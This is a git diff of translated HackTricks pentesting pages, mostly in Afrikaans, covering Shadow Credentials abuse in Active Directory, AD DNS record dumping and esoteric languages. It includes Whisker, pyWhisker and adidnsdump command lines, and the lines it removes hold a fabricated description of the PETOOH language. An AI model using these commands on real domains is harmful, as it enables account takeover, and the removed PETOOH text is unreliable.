* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Esoteriese tale
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||
|
||||
|
@ -61,43 +64,6 @@ Whisper my world
|
|||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
PETOOH is 'n esoteriese programmeertaal wat gebaseer is op die idee van die kommunikasie tussen diere. Dit is ontwerp deur Oleg Mazonka in 2003. Die taal maak gebruik van verskillende dieregeluide om kode te verteenwoordig.
|
||||
|
||||
### Syntax
|
||||
|
||||
PETOOH se sintaksis bestaan uit drie instruksies: 'koer', 'blaf' en 'grom'. Hierdie instruksies word gebruik om die geheue te manipuleer en data te verwerk.
|
||||
|
||||
### Geheue
|
||||
|
||||
PETOOH maak gebruik van 'n geheueband wat bestaan uit 256 selletjies. Elke selletjie kan 'n waarde hê tussen 0 en 255. Die geheueband begin by die eerste selletjie en beweeg na regs.
|
||||
|
||||
### Instruksies
|
||||
|
||||
PETOOH het drie tipes instruksies:
|
||||
|
||||
1. 'koer': Verhoog die waarde van die huidige selletjie met 1.
|
||||
2. 'blaf': Verminder die waarde van die huidige selletjie met 1.
|
||||
3. 'grom': Verskuif die lees- of skryfposisie op die geheueband na links of regs.
|
||||
|
||||
### Voorbeeld
|
||||
|
||||
Hier is 'n voorbeeld van 'n PETOOH-program wat die getal 42 druk:
|
||||
|
||||
```
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer koer koer koer koer koer
|
||||
koer koer koer koer koer
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
|
@ -107,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
|||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,81 +1,87 @@
|
|||
# Skadu-geloofsbriewe
|
||||
# Shadow Credentials
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Inleiding <a href="#3f17" id="3f17"></a>
|
||||
## Intro <a href="#3f17" id="3f17"></a>
|
||||
|
||||
**Kyk na die oorspronklike pos vir [alle inligting oor hierdie tegniek](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
|
||||
**Check the original post for [all the information about this technique](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
|
||||
|
||||
As 'n **opsomming**: as jy kan skryf na die **msDS-KeyCredentialLink** eienskap van 'n gebruiker/rekenaar, kan jy die **NT-hash van daardie objek** herwin.
|
||||
As **summary**: as jy kan skryf na die **msDS-KeyCredentialLink** eienskap van 'n gebruiker/rekenaar, kan jy die **NT hash van daardie objek** verkry.
|
||||
|
||||
In die pos word 'n metode uitgelê om **openbare-privaat sleutel-verifikasie-geloofsbriewe** op te stel om 'n unieke **Dienskaartjie** te bekom wat die teiken se NTLM-hash insluit. Hierdie proses behels die versleutelde NTLM_SUPPLEMENTAL_CREDENTIAL binne die Privilege Attribute Certificate (PAC), wat ontsluit kan word.
|
||||
In die pos word 'n metode uiteengesit om **publieke-private sleutelverifikasie akrediteer** op te stel om 'n unieke **Service Ticket** te verkry wat die teiken se NTLM hash insluit. Hierdie proses behels die versleutelde NTLM_SUPPLEMENTAL_CREDENTIAL binne die Privilege Attribute Certificate (PAC), wat ontcijfer kan word.
|
||||
|
||||
### Vereistes
|
||||
### Requirements
|
||||
|
||||
Om hierdie tegniek toe te pas, moet sekere voorwaardes voldoen word:
|
||||
- 'n Minimum van een Windows Server 2016-domeinbeheerder is nodig.
|
||||
- Die domeinbeheerder moet 'n bedienerverifikasie digitale sertifikaat geïnstalleer hê.
|
||||
- Die Aktiewe Gids moet op die Windows Server 2016-funksievlak wees.
|
||||
- 'n Rekening met gedelegeerde regte om die msDS-KeyCredentialLink-eienskap van die teikenobjek te wysig, is nodig.
|
||||
Om hierdie tegniek toe te pas, moet sekere voorwaardes nagekom word:
|
||||
- 'n Minimum van een Windows Server 2016 Domeinbeheerder is nodig.
|
||||
- Die Domeinbeheerder moet 'n digitale sertifikaat vir bedienerverifikasie geïnstalleer hê.
|
||||
- Die Active Directory moet op die Windows Server 2016 Funksionele Vlak wees.
|
||||
- 'n Rekening met gedelegeerde regte om die msDS-KeyCredentialLink eienskap van die teiken objek te wysig is vereis.
|
||||
|
||||
## Misbruik
|
||||
## Abuse
|
||||
|
||||
Die misbruik van Sleutelvertroue vir rekenaarobjekte behels stappe wat verder gaan as die verkryging van 'n Ticket Granting Ticket (TGT) en die NTLM-hash. Die opsies sluit in:
|
||||
1. Die skep van 'n **RC4 silwerkaartjie** om as bevoorregte gebruikers op die beoogde gasheer op te tree.
|
||||
2. Die gebruik van die TGT met **S4U2Self** vir die nabootsing van **bevoorregte gebruikers**, wat wysigings aan die Dienskaartjie vereis om 'n diensklas by die diensnaam te voeg.
|
||||
Die misbruik van Key Trust vir rekenaarobjekte sluit stappe in wat verder gaan as die verkryging van 'n Ticket Granting Ticket (TGT) en die NTLM hash. Die opsies sluit in:
|
||||
1. Die skep van 'n **RC4 silwer kaartjie** om as bevoorregte gebruikers op die beoogde gasheer op te tree.
|
||||
2. Die gebruik van die TGT met **S4U2Self** vir die vervalsing van **bevoorregte gebruikers**, wat veranderinge aan die Service Ticket vereis om 'n diensklas by die diensnaam te voeg.
|
||||
|
||||
'n Belangrike voordeel van Sleutelvertroue-misbruik is dat dit beperk is tot die aanvaller se gegenereerde privaatsleutel, wat die delegasie na potensieel kwesbare rekeninge vermy en nie die skepping van 'n rekenaarrekening vereis nie, wat moeilik kan wees om te verwyder.
|
||||
'n Beduidende voordeel van Key Trust misbruik is die beperking tot die aanvaller-gegenereerde private sleutel, wat delegasie aan potensieel kwesbare rekeninge vermy en nie die skepping van 'n rekenaarrekening vereis nie, wat moeilik kan wees om te verwyder.
|
||||
|
||||
## Gereedskap
|
||||
## Tools
|
||||
|
||||
### [**Whisker**](https://github.com/eladshamir/Whisker)
|
||||
|
||||
Dit is gebaseer op DSInternals en bied 'n C#-koppelvlak vir hierdie aanval. Whisker en sy Python-teendeel, **pyWhisker**, maak manipulasie van die `msDS-KeyCredentialLink` eienskap moontlik om beheer oor Aktiewe Gids-rekeninge te verkry. Hierdie gereedskap ondersteun verskeie operasies soos byvoeging, lys, verwydering en skoonmaak van sleutelgelowiges van die teikenobjek.
|
||||
Dit is gebaseer op DSInternals wat 'n C#-koppelvlak vir hierdie aanval bied. Whisker en sy Python teenhanger, **pyWhisker**, stel in staat om die `msDS-KeyCredentialLink` eienskap te manipuleer om beheer oor Active Directory rekeninge te verkry. Hierdie gereedskap ondersteun verskeie operasies soos om sleutelakrediete by te voeg, te lys, te verwyder en te skoon te maak van die teiken objek.
|
||||
|
||||
**Whisker**-funksies sluit in:
|
||||
- **Byvoeg**: Genereer 'n sleutelpaar en voeg 'n sleutelgelowige by.
|
||||
- **Lys**: Vertoon alle sleutelgelowige inskrywings.
|
||||
- **Verwyder**: Verwyder 'n gespesifiseerde sleutelgelowige.
|
||||
- **Skoon**: Vee alle sleutelgelowiges uit, wat potensieel legitieme WHfB-gebruik kan ontwrig.
|
||||
**Whisker** funksies sluit in:
|
||||
- **Add**: Genereer 'n sleutel paar en voeg 'n sleutel akrediet by.
|
||||
- **List**: Vertoon alle sleutel akrediet inskrywings.
|
||||
- **Remove**: Verwyder 'n spesifieke sleutel akrediet.
|
||||
- **Clear**: Verwyder alle sleutel akrediete, wat moontlik wettige WHfB gebruik kan ontwrig.
|
||||
```shell
|
||||
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
|
||||
```
|
||||
### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
|
||||
|
||||
Dit brei Whisker funksionaliteit uit na **UNIX-gebaseerde stelsels**, deur gebruik te maak van Impacket en PyDSInternals vir omvattende uitbuitingsmoontlikhede, insluitend die lys, byvoeging en verwydering van KeyCredentials, sowel as die invoer en uitvoer daarvan in JSON-formaat.
|
||||
Dit brei Whisker se funksionaliteit uit na **UNIX-gebaseerde stelsels**, wat Impacket en PyDSInternals benut vir omvattende eksploitasiemogelijkheden, insluitend die lys, toevoeging en verwydering van KeyCredentials, sowel as die invoer en uitvoer daarvan in JSON-formaat.
|
||||
```shell
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
|
||||
```
|
||||
### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
|
||||
|
||||
ShadowSpray het as doel om **GenericWrite/GenericAll-toestemmings wat wydverspreide gebruikersgroepe mag hê oor domeinvoorwerpe** te benut om ShadowCredentials wyd toe te pas. Dit behels om in te teken op die domein, die funksionele vlak van die domein te verifieer, domeinvoorwerpe op te som, en te probeer om KeyCredentials by te voeg vir TGT-verwerwing en NT-hash-onthulling. Opruimingsopsies en herhalende benuttingstaktieke verbeter sy bruikbaarheid.
|
||||
ShadowSpray het ten doel om **Generiese Skryf/Generiese Alles toestemmings wat wye gebruikersgroepe oor domeinobjekte mag hê, te benut** om ShadowCredentials breedvoerig toe te pas. Dit behels om in die domein in te teken, die domein se funksionele vlak te verifieer, domeinobjekte te evalueer, en te probeer om KeyCredentials vir TGT verkryging en NT hash onthulling by te voeg. Skoonmaakopsies en rekursiewe uitbuitingstaktieke verbeter die nut daarvan.
|
||||
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
|
||||
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
|
||||
* [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
|
||||
* [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# AD DNS Rekords
|
||||
# AD DNS Records
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Standaard kan **enige gebruiker** in Active Directory **alle DNS-rekords** in die domein of bos DNS-sones opnoem, soortgelyk aan 'n sone-oordrag (gebruikers kan die kindobjekte van 'n DNS-sone in 'n AD-omgewing lys).
|
||||
Standaard kan **enige gebruiker** in Active Directory **alle DNS rekords** in die Domein of Woud DNS sones **opnoem**, soortgelyk aan 'n sonetransfer (gebruikers kan die kindobjekte van 'n DNS zone in 'n AD omgewing lys).
|
||||
|
||||
Die hulpmiddel [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) maak **opnoeming** en **uitvoer** van **alle DNS-rekords** in die sone moontlik vir rekonsdoeleindes van interne netwerke.
|
||||
Die hulpmiddel [**adidnsdump**](https://github.com/dirkjanm/adidnsdump) stel **opname** en **eksportering** van **alle DNS rekords** in die zone vir rekonsiderasiedoeleindes van interne netwerke in staat.
|
||||
```bash
|
||||
git clone https://github.com/dirkjanm/adidnsdump
|
||||
cd adidnsdump
|
||||
|
@ -25,14 +28,17 @@ cat records.csv
|
|||
```
|
||||
Vir meer inligting lees [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,88 +1,90 @@
|
|||
# BloodHound & Ander AD Enum-hulpmiddels
|
||||
# BloodHound & Other AD Enum Tools
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
